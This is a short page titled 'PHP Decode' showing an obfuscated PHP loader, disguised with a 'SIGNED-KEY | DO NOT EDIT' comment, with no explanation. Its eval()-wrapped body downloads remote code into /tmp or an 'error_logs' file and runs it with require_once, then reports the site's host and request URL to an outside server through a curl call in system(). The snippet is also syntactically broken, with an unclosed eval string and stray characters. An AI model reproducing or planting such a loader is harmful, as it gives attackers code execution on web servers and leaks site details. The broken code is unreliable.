PHP Decode

		<?php 
		// ================================================================================================================ // 
		$x = "https://trollhelm.moria.org/0xdeadbeef23/cowpatty"; 
		/* SIGNED-KEY | DO NOT EDIT THIS!!*/ 
		// ================================================================================================================ // 
		 
		error_reporting(0); 
		if (!function_exists("Custom_encoder")) { 
		    function Custom_encoder($x) 
		    { 
		        $variabel_1 = ""; 
		        $variabel_2 = 0; 
		        $variabel_3 = strlen($x); 
		        while ($variabel_2 < $variabel_3) { 
		            if ($x[$variabel_2] == ' ') { 
		                $variabel_1 .= " "; 
		            } else if ($x[$variabel_2] == '!') { 
		                $variabel_1 .= chr((ord($x[$variabel_2 + 1]) - ord('A')) * 16 + (ord($x[$variabel_2 + 2]) - ord('a'))); 
		                $variabel_2 += 2; 
		            } else { 
		                $variabel_1 .= chr(ord($x[$variabel_2]) + 1); 
		            } 
		            $variabel_2++; 
		        } 
		        return $variabel_1 ; 
		    } 
		} 
		 
		 
		 
		eval(Custom_encoder('eval(Custom_encoder(' 
		    $x2fe17 = strrev(base64_decode(strrev(base64_decode($x)))); 
		    $x09ef = '/tmp'; 
		    if (file_exists($x09ef)) { 
		        file_put_contents("/tmp/xYz-LOGS.by.R3D-gEn=--", file_get_contents("" . $x2fe17 . "")); 
		        require_once('/tmp/xYz-LOGS.by.R3D-gEn=--'); 
		    } else { 
		        file_put_contents("error_logs", file_get_contents("" . $x2fe17 . "")); 
		        require_once('error_logs'); 
		    } 
		    $xF2d3d = base64_encode("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); 
		    $xbFC36 = strrev($xF2d3d);  
		    system('curl http://xbox.nu/secured-key/index.php?signed=' . $xbFC36 . '');  
		    (**<)++= 
		)); 
?>